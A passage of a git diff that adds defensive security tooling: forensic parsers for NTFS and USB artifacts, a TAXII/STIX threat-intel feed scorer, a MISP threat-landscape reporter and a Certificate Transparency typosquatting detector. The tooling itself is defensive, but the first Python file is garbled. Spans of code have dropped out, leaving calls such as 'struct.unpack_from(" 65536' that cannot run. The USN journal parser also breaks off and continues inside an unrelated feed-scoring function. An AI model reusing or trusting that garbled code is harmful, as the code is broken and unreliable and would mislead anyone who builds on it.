artifacts.""" + +import os +import sys +import json +import struct +import argparse +import subprocess +from datetime import datetime, timedelta +from pathlib import Path + + +def parse_mft_with_analyzeMFT(mft_path, output_csv): + """Parse MFT using analyzeMFT and return deleted/timestomped files.""" + cmd = ["analyzeMFT.py", "-f", mft_path, "-o", output_csv, "-c"] + subprocess.run(cmd, check=True) + return output_csv + + +def extract_slack_space(image_path, offset, output_path): + """Extract slack space from a disk image using blkls from The Sleuth Kit.""" + cmd = ["blkls", "-s", "-o", str(offset), image_path] + with open(output_path, "wb") as out: + subprocess.run(cmd, stdout=out, check=True) + return output_path + + +def search_slack_keywords(slack_path, keywords=None): + """Search extracted slack space for forensic keywords.""" + if keywords is None: + keywords = ["password", "secret", "confidential", "credit card", "ssn"] + hits = [] + with open(slack_path, "rb") as f: + data = f.read() + for kw in keywords: + kw_bytes = kw.encode("utf-8") + start = 0 + while True: + idx = data.find(kw_bytes, start) + if idx == -1: + break + context = data[max(0, idx - 20):idx + len(kw_bytes) + 20] + hits.append({ + "keyword": kw, + "offset": idx, + "context": context.decode("utf-8", errors="replace"), + }) + start = idx + 1 + return hits + + +def parse_usn_journal(usn_path): + """Parse NTFS USN Change Journal ($UsnJrnl:$J) records.""" + REASON_FLAGS = { + 0x01: "DATA_OVERWRITE", 0x02: "DATA_EXTEND", 0x04: "DATA_TRUNCATION", + 0x100: "FILE_CREATE", 0x200: "FILE_DELETE", 0x400: "EA_CHANGE", + 0x800: "SECURITY_CHANGE", 0x1000: "RENAME_OLD_NAME", + 0x2000: "RENAME_NEW_NAME", 0x80000000: "CLOSE", + } + records = [] + with open(usn_path, "rb") as f: + data = f.read() + offset = 0 + while offset < len(data) - 8: + rec_len = struct.unpack_from(" 65536 or offset + rec_len > len(data): + offset += 8 + continue + major = struct.unpack_from(" 0) + with_labels = sum(1 for i in indicators if i.get("labels")) + with_refs = sum(1 for i in indicators if i.get("external_references")) + freshness = sum( + 1 for i in indicators + if i.get("valid_from") and + datetime.fromisoformat(i["valid_from"].replace("Z", "+00:00")) + > datetime.now(tz=__import__("datetime").timezone.utc) - timedelta(days=90) + ) + score = int( + (with_confidence / total * 25) + + (with_labels / total * 25) + + (with_refs / total * 25) + + (freshness / total * 25) + ) + return { + "total": total, + "with_confidence": with_confidence, + "with_labels": with_labels, + "with_external_refs": with_refs, + "fresh_last_90d": freshness, + "quality_score": score, + } + + +def export_stix_bundle(indicators, output_path): + """Export indicators as a STIX 2.1 bundle JSON file.""" + bundle = Bundle(objects=indicators, allow_custom=True) + with open(output_path, "w") as f: + f.write(bundle.serialize(pretty=True)) + return output_path + + +def classify_ioc_type(value): + """Auto-detect IOC type from value.""" + import re + if re.match(r"^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$", value): + return "ipv4" + elif re.match(r"^[a-fA-F0-9]{64}$", value): + return "sha256" + elif re.match(r"^https?://", value): + return "url" + elif re.match(r"^[^@]+@[^@]+\.[^@]+$", value): + return "email" + else: + return "domain" + + +def main(): + parser = argparse.ArgumentParser(description="Threat Intelligence Feed Analysis Agent") + parser.add_argument("--taxii-url", help="TAXII 2.1 server discovery URL") + parser.add_argument("--collection-url", help="TAXII collection URL to fetch from") + parser.add_argument("--user", default=os.getenv("TAXII_USER")) + parser.add_argument("--password", default=os.getenv("TAXII_PASSWORD")) + parser.add_argument("--added-after", help="Fetch indicators added after (ISO date)") + parser.add_argument("--ioc-file", help="File with raw IOCs (one per line) to normalize") + parser.add_argument("--source", default="custom-feed", help="Source name for IOCs") + parser.add_argument("--output", default="stix_bundle.json", help="Output STIX bundle path") + parser.add_argument("--action", choices=[ + "discover", "fetch", "normalize", "score", "full_pipeline" + ], default="full_pipeline") + args = parser.parse_args() + + if args.action == "discover" and args.taxii_url: + info = discover_taxii_server(args.taxii_url, args.user, args.password) + print(json.dumps(info, indent=2)) + return + + if args.action in ("fetch", "full_pipeline") and args.collection_url: + indicators = fetch_indicators(args.collection_url, args.user, args.password, args.added_after) + indicators = deduplicate_indicators(indicators) + quality = score_feed_quality(indicators) + print(f"[+] Fetched {len(indicators)} unique indicators") + print(f"[+] Feed quality score: {quality['quality_score']}/100") + + if args.action in ("normalize", "full_pipeline") and args.ioc_file: + stix_objects = [] + with open(args.ioc_file) as f: + for line in f: + value = line.strip() + if not value or value.startswith("#"): + continue + ioc_type = classify_ioc_type(value) + indicator = normalize_to_stix(value, ioc_type, args.source) + stix_objects.append(indicator) + path = export_stix_bundle(stix_objects, args.output) + print(f"[+] Normalized {len(stix_objects)} IOCs -> {path}") + + +if __name__ == "__main__": + main() diff --git a/skills/analyzing-threat-landscape-with-misp/LICENSE b/skills/analyzing-threat-landscape-with-misp/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/analyzing-threat-landscape-with-misp/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/analyzing-threat-landscape-with-misp/SKILL.md b/skills/analyzing-threat-landscape-with-misp/SKILL.md new file mode 100644 index 00000000..9aecc2a4 --- /dev/null +++ b/skills/analyzing-threat-landscape-with-misp/SKILL.md @@ -0,0 +1,36 @@ +--- +name: analyzing-threat-landscape-with-misp +description: >- + Analyze the threat landscape using MISP (Malware Information Sharing Platform) + by querying event statistics, attribute distributions, threat actor galaxy + clusters, and tag trends over time. Uses PyMISP to pull event data, compute + IOC type breakdowns, identify top threat actors and malware families, and + generate threat landscape reports with temporal trends. +--- + +## Instructions + +1. Install dependencies: `pip install pymisp` +2. Configure MISP URL and API key. +3. Run the agent to generate threat landscape analysis: + - Pull event statistics by threat level and date range + - Analyze attribute type distributions (IP, domain, hash, URL) + - Identify top MITRE ATT&CK techniques from event tags + - Track threat actor activity via galaxy clusters + - Generate temporal trend analysis of IOC submissions + +```bash +python scripts/agent.py --misp-url https://misp.local --api-key YOUR_KEY --days 90 --output landscape_report.json +``` + +## Examples + +### Threat Landscape Summary +``` +Period: Last 90 days +Events analyzed: 1,247 +Top threat level: High (43%) +Top attribute type: ip-dst (31%), domain (22%), sha256 (18%) +Top MITRE technique: T1566 Phishing (89 events) +Top threat actor: APT28 (34 events) +``` diff --git a/skills/analyzing-threat-landscape-with-misp/references/api-reference.md b/skills/analyzing-threat-landscape-with-misp/references/api-reference.md new file mode 100644 index 00000000..bd099075 --- /dev/null +++ b/skills/analyzing-threat-landscape-with-misp/references/api-reference.md @@ -0,0 +1,64 @@ +# API Reference: MISP Threat Landscape Analysis + +## PyMISP Connection +```python +from pymisp import PyMISP +misp = PyMISP(url, api_key, ssl=True) +``` + +## Event Search +```python +events = misp.search(date_from="2025-01-01", pythonify=True) +``` +| Parameter | Description | +|-----------|-------------| +| `date_from` | Start date (YYYY-MM-DD) | +| `date_to` | End date | +| `tags` | Filter by tags | +| `threat_level_id` | 1=High, 2=Medium, 3=Low, 4=Undefined | +| `published` | True/False | +| `pythonify` | Return MISPEvent objects | + +## Event Object Fields +| Field | Description | +|-------|-------------| +| `id` | Event ID | +| `date` | Event date | +| `threat_level_id` | 1-4 severity level | +| `analysis` | 0=Initial, 1=Ongoing, 2=Completed | +| `info` | Event description | +| `Attribute` | List of IOC attributes | +| `Tag` | List of tags | +| `Orgc` | Contributing organization | + +## Attribute Types +| Type | Example | +|------|---------| +| `ip-dst` | Destination IP address | +| `ip-src` | Source IP address | +| `domain` | Domain name | +| `hostname` | FQDN | +| `url` | Full URL | +| `md5` / `sha1` / `sha256` | File hashes | +| `email-src` | Sender email | +| `filename` | Malicious filename | +| `mutex` | Mutex name | +| `regkey` | Registry key | + +## Galaxy Tag Prefixes +| Prefix | Content | +|--------|---------| +| `misp-galaxy:mitre-attack-pattern=` | MITRE ATT&CK techniques | +| `misp-galaxy:threat-actor=` | Threat actor groups | +| `misp-galaxy:malpedia=` | Malware families | +| `misp-galaxy:sector=` | Target sectors | +| `misp-galaxy:country=` | Target countries | + +## Statistics API +```python +misp.get_community_id() +misp.user_statistics() +misp.attributes_statistics(context="type") +misp.attributes_statistics(context="category") +misp.tags_statistics() +``` diff --git a/skills/analyzing-threat-landscape-with-misp/scripts/agent.py b/skills/analyzing-threat-landscape-with-misp/scripts/agent.py new file mode 100644 index 00000000..bfae629f --- /dev/null +++ b/skills/analyzing-threat-landscape-with-misp/scripts/agent.py @@ -0,0 +1,177 @@ +#!/usr/bin/env python3 +"""MISP Threat Landscape Analysis Agent - Generates threat landscape reports from MISP event data.""" + +import json +import logging +import argparse +from datetime import datetime, timedelta +from collections import defaultdict, Counter + +from pymisp import PyMISP + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + +THREAT_LEVELS = {1: "High", 2: "Medium", 3: "Low", 4: "Undefined"} +ANALYSIS_LEVELS = {0: "Initial", 1: "Ongoing", 2: "Completed"} + +MITRE_TAG_PREFIX = "misp-galaxy:mitre-attack-pattern=" +THREAT_ACTOR_PREFIX = "misp-galaxy:threat-actor=" +MALWARE_PREFIX = "misp-galaxy:malpedia=" + + +def connect_misp(url, api_key, ssl=True): + """Connect to MISP instance.""" + misp = PyMISP(url, api_key, ssl=ssl) + logger.info("Connected to MISP: %s", url) + return misp + + +def fetch_events(misp, days=90): + """Fetch events from the last N days.""" + date_from = (datetime.utcnow() - timedelta(days=days)).strftime("%Y-%m-%d") + events = misp.search(date_from=date_from, pythonify=True) + logger.info("Fetched %d events from last %d days", len(events), days) + return events + + +def analyze_threat_levels(events): + """Break down events by threat level.""" + counter = Counter() + for event in events: + level = getattr(event, "threat_level_id", 4) + counter[THREAT_LEVELS.get(int(level), "Undefined")] += 1 + total = sum(counter.values()) or 1 + return {level: {"count": count, "percent": round(count / total * 100, 1)} for level, count in counter.most_common()} + + +def analyze_attribute_types(events): + """Analyze distribution of attribute types across events.""" + counter = Counter() + for event in events: + for attr in getattr(event, "Attribute", []): + counter[attr.type] += 1 + total = sum(counter.values()) or 1 + return { + atype: {"count": count, "percent": round(count / total * 100, 1)} + for atype, count in counter.most_common(20) + } + + +def extract_tags(events): + """Extract and categorize tags from events.""" + mitre_techniques = Counter() + threat_actors = Counter() + malware_families = Counter() + all_tags = Counter() + + for event in events: + for tag in getattr(event, "Tag", []): + tag_name = tag.name + all_tags[tag_name] += 1 + if tag_name.startswith(MITRE_TAG_PREFIX): + technique = tag_name[len(MITRE_TAG_PREFIX):].strip('"').strip("'") + mitre_techniques[technique] += 1 + elif tag_name.startswith(THREAT_ACTOR_PREFIX): + actor = tag_name[len(THREAT_ACTOR_PREFIX):].strip('"').strip("'") + threat_actors[actor] += 1 + elif tag_name.startswith(MALWARE_PREFIX): + malware = tag_name[len(MALWARE_PREFIX):].strip('"').strip("'") + malware_families[malware] += 1 + + return { + "mitre_techniques": dict(mitre_techniques.most_common(20)), + "threat_actors": dict(threat_actors.most_common(20)), + "malware_families": dict(malware_families.most_common(20)), + "top_tags": dict(all_tags.most_common(30)), + } + + +def analyze_temporal_trends(events, days=90): + """Analyze event creation trends over time (weekly buckets).""" + buckets = defaultdict(int) + for event in events: + event_date = getattr(event, "date", None) + if event_date: + if isinstance(event_date, str): + event_date = datetime.strptime(event_date, "%Y-%m-%d") + week_start = event_date - timedelta(days=event_date.weekday()) + buckets[week_start.strftime("%Y-%m-%d")] += 1 + return dict(sorted(buckets.items())) + + +def analyze_organizations(events): + """Analyze contributing organizations.""" + org_counter = Counter() + for event in events: + org = getattr(event, "Orgc", None) + if org: + org_name = getattr(org, "name", "Unknown") + org_counter[org_name] += 1 + return dict(org_counter.most_common(20)) + + +def compute_ioc_stats(events): + """Compute IOC statistics: total count, unique values, categories.""" + ioc_values = set() + category_counter = Counter() + for event in events: + for attr in getattr(event, "Attribute", []): + ioc_values.add(attr.value) + category_counter[attr.category] += 1 + return { + "total_attributes": sum(category_counter.values()), + "unique_values": len(ioc_values), + "categories": dict(category_counter.most_common(15)), + } + + +def generate_report(events, threat_levels, attr_types, tags, trends, orgs, ioc_stats, days): + """Generate threat landscape report.""" + report = { + "timestamp": datetime.utcnow().isoformat(), + "period_days": days, + "total_events": len(events), + "threat_level_distribution": threat_levels, + "attribute_type_distribution": attr_types, + "ioc_statistics": ioc_stats, + "mitre_attack_techniques": tags["mitre_techniques"], + "top_threat_actors": tags["threat_actors"], + "top_malware_families": tags["malware_families"], + "temporal_trends": trends, + "contributing_organizations": orgs, + } + high_pct = threat_levels.get("High", {}).get("percent", 0) + top_technique = next(iter(tags["mitre_techniques"]), "N/A") + top_actor = next(iter(tags["threat_actors"]), "N/A") + print(f"THREAT LANDSCAPE: {len(events)} events, {high_pct}% high severity, top technique: {top_technique}, top actor: {top_actor}") + return report + + +def main(): + parser = argparse.ArgumentParser(description="MISP Threat Landscape Analysis Agent") + parser.add_argument("--misp-url", required=True, help="MISP instance URL") + parser.add_argument("--api-key", required=True, help="MISP API key") + parser.add_argument("--days", type=int, default=90, help="Analysis period in days") + parser.add_argument("--no-ssl", action="store_true", help="Disable SSL verification") + parser.add_argument("--output", default="landscape_report.json") + args = parser.parse_args() + + misp = connect_misp(args.misp_url, args.api_key, ssl=not args.no_ssl) + events = fetch_events(misp, args.days) + + threat_levels = analyze_threat_levels(events) + attr_types = analyze_attribute_types(events) + tags = extract_tags(events) + trends = analyze_temporal_trends(events, args.days) + orgs = analyze_organizations(events) + ioc_stats = compute_ioc_stats(events) + + report = generate_report(events, threat_levels, attr_types, tags, trends, orgs, ioc_stats, args.days) + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + logger.info("Report saved to %s", args.output) + + +if __name__ == "__main__": + main() diff --git a/skills/analyzing-tls-certificate-transparency-logs/LICENSE b/skills/analyzing-tls-certificate-transparency-logs/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/analyzing-tls-certificate-transparency-logs/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/analyzing-tls-certificate-transparency-logs/SKILL.md b/skills/analyzing-tls-certificate-transparency-logs/SKILL.md new file mode 100644 index 00000000..8e3ac53c --- /dev/null +++ b/skills/analyzing-tls-certificate-transparency-logs/SKILL.md @@ -0,0 +1,45 @@ +--- +name: analyzing-tls-certificate-transparency-logs +description: > + Queries Certificate Transparency logs via crt.sh and pycrtsh to detect phishing + domains, unauthorized certificate issuance, and shadow IT. Monitors newly issued + certificates for typosquatting and brand impersonation using Levenshtein distance. + Use for proactive phishing domain detection and certificate monitoring. +--- + +# Analyzing TLS Certificate Transparency Logs + +## Instructions + +Query crt.sh Certificate Transparency database to find certificates issued for +domains similar to your organization's brand, detecting phishing infrastructure. + +```python +from pycrtsh import Crtsh + +c = Crtsh() +# Search for certificates matching a domain +certs = c.search("example.com") +for cert in certs: + print(cert["id"], cert["name_value"]) + +# Get full certificate details +details = c.get(certs[0]["id"], type="id") +``` + +Key analysis steps: +1. Query crt.sh for all certificates matching your domain pattern +2. Identify certificates with typosquatting variations (Levenshtein distance) +3. Flag certificates from unexpected CAs +4. Monitor for wildcard certificates on suspicious subdomains +5. Cross-reference with known phishing infrastructure + +## Examples + +```python +from pycrtsh import Crtsh +c = Crtsh() +certs = c.search("%.example.com") +for cert in certs: + print(f"Issuer: {cert.get('issuer_name')}, Domain: {cert.get('name_value')}") +``` diff --git a/skills/analyzing-tls-certificate-transparency-logs/references/api-reference.md b/skills/analyzing-tls-certificate-transparency-logs/references/api-reference.md new file mode 100644 index 00000000..7ba40c4b --- /dev/null +++ b/skills/analyzing-tls-certificate-transparency-logs/references/api-reference.md @@ -0,0 +1,59 @@ +# API Reference: Analyzing TLS Certificate Transparency Logs + +## pycrtsh + +```python +from pycrtsh import Crtsh +c = Crtsh() + +# Search certificates by domain +certs = c.search("example.com") # exact match +certs = c.search("%.example.com") # wildcard subdomains + +# Get certificate details by ID +details = c.get(cert_id, type="id") +details = c.get(sha1_hash, type="sha1") +details = c.get(sha256_hash, type="sha256") +``` + +## crt.sh REST API (Direct) + +```python +import requests + +# JSON output +resp = requests.get("https://crt.sh/?q=%.example.com&output=json") +records = resp.json() +# Fields: id, issuer_ca_id, issuer_name, common_name, +# name_value, not_before, not_after, serial_number +``` + +## certstream (Real-Time CT Monitoring) + +```python +import certstream + +def callback(message, context): + if message["message_type"] == "certificate_update": + all_domains = message["data"]["leaf_cert"]["all_domains"] + print(all_domains) + +certstream.listen_for_events(callback, url="wss://certstream.calidog.io/") +``` + +## Key Certificate Fields + +| Field | Description | +|-------|-------------| +| `common_name` | Primary domain on certificate | +| `name_value` | SAN (Subject Alternative Names) | +| `issuer_name` | Certificate Authority | +| `not_before` | Issuance date | +| `not_after` | Expiration date | + +### References + +- pycrtsh: https://pypi.org/project/pycrtsh/ +- crt.sh: https://crt.sh/ +- certstream: https://certstream.calidog.io/ +- CT RFC 6962: https://datatracker.ietf.org/doc/html/rfc6962 diff --git a/skills/analyzing-tls-certificate-transparency-logs/scripts/agent.py b/skills/analyzing-tls-certificate-transparency-logs/scripts/agent.py new file mode 100644 index 00000000..7b3c23d7 --- /dev/null +++ b/skills/analyzing-tls-certificate-transparency-logs/scripts/agent.py @@ -0,0 +1,176 @@ +#!/usr/bin/env python3 +"""Agent for analyzing Certificate Transparency logs for phishing detection.""" + +import os +import json +import argparse +from datetime import datetime + +import requests +from pycrtsh import Crtsh + + +def search_certificates(domain, include_expired=False): + """Search crt.sh for certificates matching a domain.""" + c = Crtsh() + certs = c.search(domain) + if not include_expired: + now = datetime.utcnow() + certs = [cert for cert in certs if cert.get("not_after") + and datetime.strptime(str(cert["not_after"]), "%Y-%m-%dT%H:%M:%S") > now] + return certs + + +def get_certificate_details(cert_id): + """Get full certificate details from crt.sh by ID.""" + c = Crtsh() + return c.get(cert_id, type="id") + + +def search_crtsh_api(domain): + """Query crt.sh REST API directly for certificate records.""" + url = f"https://crt.sh/?q={domain}&output=json" + resp = requests.get(url, timeout=30) + resp.raise_for_status() + return resp.json() + + +def levenshtein_distance(s1, s2): + """Compute Levenshtein distance between two strings.""" + if len(s1) < len(s2): + return levenshtein_distance(s2, s1) + if len(s2) == 0: + return len(s1) + prev_row = range(len(s2) + 1) + for i, c1 in enumerate(s1): + curr_row = [i + 1] + for j, c2 in enumerate(s2): + insertions = prev_row[j + 1] + 1 + deletions = curr_row[j] + 1 + substitutions = prev_row[j] + (c1 != c2) + curr_row.append(min(insertions, deletions, substitutions)) + prev_row = curr_row + return prev_row[-1] + + +def detect_typosquatting(target_domain, ct_records, max_distance=3): + """Detect typosquatting domains using Levenshtein distance.""" + base = target_domain.split(".")[0] + suspicious = [] + seen = set() + for record in ct_records: + domain = record.get("common_name", "") or record.get("name_value", "") + if not domain or domain in seen: + continue + seen.add(domain) + candidate_base = domain.split(".")[0].lstrip("*").lstrip(".") + if candidate_base == base: + continue + dist = levenshtein_distance(base, candidate_base) + if 0 < dist <= max_distance: + suspicious.append({ + "domain": domain, + "distance": dist, + "issuer": record.get("issuer_name", ""), + "not_before": record.get("not_before", ""), + "not_after": record.get("not_after", ""), + }) + return sorted(suspicious, key=lambda x: x["distance"]) + + +def detect_unauthorized_cas(ct_records, allowed_cas): + """Find certificates issued by unauthorized Certificate Authorities.""" + unauthorized = [] + for record in ct_records: + issuer = record.get("issuer_name", "") + if issuer and not any(ca.lower() in issuer.lower() for ca in allowed_cas): + unauthorized.append({ + "domain": record.get("common_name", ""), + "issuer": issuer, + "not_before": record.get("not_before", ""), + "cert_id": record.get("id"), + }) + return unauthorized + + +def monitor_new_certificates(domain, hours_back=24): + """Find certificates issued in the last N hours.""" + records = search_crtsh_api(f"%.{domain}") + cutoff = datetime.utcnow().timestamp() - (hours_back * 3600) + recent = [] + for r in records: + not_before = r.get("not_before", "") + if not_before: + try: + cert_time = datetime.strptime(not_before, "%Y-%m-%dT%H:%M:%S") + if cert_time.timestamp() > cutoff: + recent.append({ + "domain": r.get("common_name", ""), + "issuer": r.get("issuer_name", ""), + "not_before": not_before, + "name_value": r.get("name_value", ""), + }) + except ValueError: + continue + return recent + + +def find_wildcard_certificates(ct_records): + """Identify wildcard certificates that could cover many subdomains.""" + wildcards = [] + for r in ct_records: + name = r.get("common_name", "") or r.get("name_value", "") + if name.startswith("*."): + wildcards.append({ + "domain": name, + "issuer": r.get("issuer_name", ""), + "not_before": r.get("not_before", ""), + "not_after": r.get("not_after", ""), + }) + return wildcards + + +def main(): + parser = argparse.ArgumentParser(description="Certificate Transparency Analysis Agent") + parser.add_argument("--domain", required=True, help="Target domain to monitor") + parser.add_argument("--allowed-cas", nargs="*", default=["Let's Encrypt", "DigiCert", + "Sectigo", "Amazon", "Google Trust Services"]) + parser.add_argument("--output", default="ct_report.json") + parser.add_argument("--action", choices=[ + "search", "typosquat", "unauthorized_ca", "monitor", "full_scan" + ], default="full_scan") + args = parser.parse_args() + + report = {"domain": args.domain, "generated_at": datetime.utcnow().isoformat(), + "findings": {}} + + ct_records = search_crtsh_api(f"%.{args.domain}") + report["findings"]["total_certificates"] = len(ct_records) + print(f"[+] Found {len(ct_records)} certificates for {args.domain}") + + if args.action in ("typosquat", "full_scan"): + typos = detect_typosquatting(args.domain, ct_records) + report["findings"]["typosquatting"] = typos + print(f"[+] Typosquatting domains: {len(typos)}") + + if args.action in ("unauthorized_ca", "full_scan"): + unauth = detect_unauthorized_cas(ct_records, args.allowed_cas) + report["findings"]["unauthorized_cas"] = unauth[:50] + print(f"[+] Unauthorized CA certs: {len(unauth)}") + + if args.action in ("monitor", "full_scan"): + recent = monitor_new_certificates(args.domain) + report["findings"]["recent_24h"] = recent + print(f"[+] Certificates issued in last 24h: {len(recent)}") + + wildcards = find_wildcard_certificates(ct_records) + report["findings"]["wildcard_certs"] = wildcards + print(f"[+] Wildcard certificates: {len(wildcards)}") + + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/analyzing-typosquatting-domains-with-dnstwist/LICENSE b/skills/analyzing-typosquatting-domains-with-dnstwist/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/analyzing-typosquatting-domains-with-dnstwist/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/analyzing-usb-device-connection-history/LICENSE b/skills/analyzing-usb-device-connection-history/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/analyzing-usb-device-connection-history/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/analyzing-usb-device-connection-history/references/api-reference.md b/skills/analyzing-usb-device-connection-history/references/api-reference.md new file mode 100644 index 00000000..40371fa8 --- /dev/null +++ b/skills/analyzing-usb-device-connection-history/references/api-reference.md @@ -0,0 +1,73 @@ +# API Reference: Analyzing USB Device Connection History + +## regipy (Python Registry Parser) + +### Open and Parse Registry Hive + +```python +from regipy.registry import RegistryHive + +reg = RegistryHive("/path/to/SYSTEM") +key = reg.get_key("ControlSet001\\Enum\\USBSTOR") +for subkey in key.iter_subkeys(): + print(subkey.name, subkey.header.last_modified) + for val in subkey.iter_values(): + print(f" {val.name} = {val.value}") +``` + +### Key Registry Paths for USB Forensics + +| Path | Hive | Description | +|------|------|-------------| +| `ControlSet00X\Enum\USBSTOR` | SYSTEM | USB mass storage device identifiers | +| `MountedDevices` | SYSTEM | Drive letter to device mapping | +| `ControlSet00X\Enum\USB` | SYSTEM | All USB devices (not just storage) | +| `Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2` | NTUSER.DAT | Per-user volume access history | + +### Determine Active ControlSet + +```python +select_key = reg.get_key("Select") +current = select_key.get_value("Current") +controlset = f"ControlSet{current:03d}" +``` + +## python-evtx (Event Log Parsing) + +```python +from evtx import PyEvtxParser +import json + +parser = PyEvtxParser("/path/to/System.evtx") +for record in parser.records_json(): + data = json.loads(record["data"]) + event_id = data["Event"]["System"]["EventID"] + if event_id in (20001, 20003): # USB plug events + print(record["timestamp"], event_id) +``` + +## SetupAPI Log Parsing + +```python +import re +with open("setupapi.dev.log", "r", errors="ignore") as f: + content = f.read() +pattern = r"Section start (\d{4}/\d{2}/\d{2} \d{2}:\d{2}:\d{2})" +for match in re.finditer(pattern, content): + print("First install:", match.group(1)) +``` + +## USB Forensic Registry Keys + +| Key | Data | +|-----|------| +| `USBSTOR\Disk&Ven_X&Prod_Y&Rev_Z\Serial` | Device class and serial | +| `FriendlyName` value | Human-readable device name | +| `DeviceContainers` (SOFTWARE) | Device metadata with timestamps | +| `EMDMgmt` (SOFTWARE) | ReadyBoost device serial/volume info | + +### References + +- regipy: https://pypi.org/project/regipy/ +- python-evtx: https://pypi.org/project/evtx/ +- SANS USB forensics: https://www.sans.org/blog/usb-device-tracking-artifacts/ diff --git a/skills/analyzing-usb-device-connection-history/scripts/agent.py b/skills/analyzing-usb-device-connection-history/scripts/agent.py new file mode 100644 index 00000000..352c64ad --- /dev/null +++ b/skills/analyzing-usb-device-connection-history/scripts/agent.py @@ -0,0 +1,184 @@ +#!/usr/bin/env python3 +"""Agent for analyzing USB device connection history from Windows registry hives.""" + +import os +import json +import argparse +import csv +from datetime import datetime + +from regipy.registry import RegistryHive + + +def parse_usbstor(system_hive_path): + """Parse USBSTOR registry key to enumerate USB storage devices.""" + reg = RegistryHive(system_hive_path) + select_key = reg.get_key("Select") + current = select_key.get_value("Current") + controlset = f"ControlSet{current:03d}" + usbstor_path = f"{controlset}\\Enum\\USBSTOR" + devices = [] + try: + usbstor_key = reg.get_key(usbstor_path) + except Exception: + return devices + for device_class in usbstor_key.iter_subkeys(): + parts = device_class.name.split("&") + vendor = parts[1].replace("Ven_", "") if len(parts) > 1 else "Unknown" + product = parts[2].replace("Prod_", "") if len(parts) > 2 else "Unknown" + revision = parts[3].replace("Rev_", "") 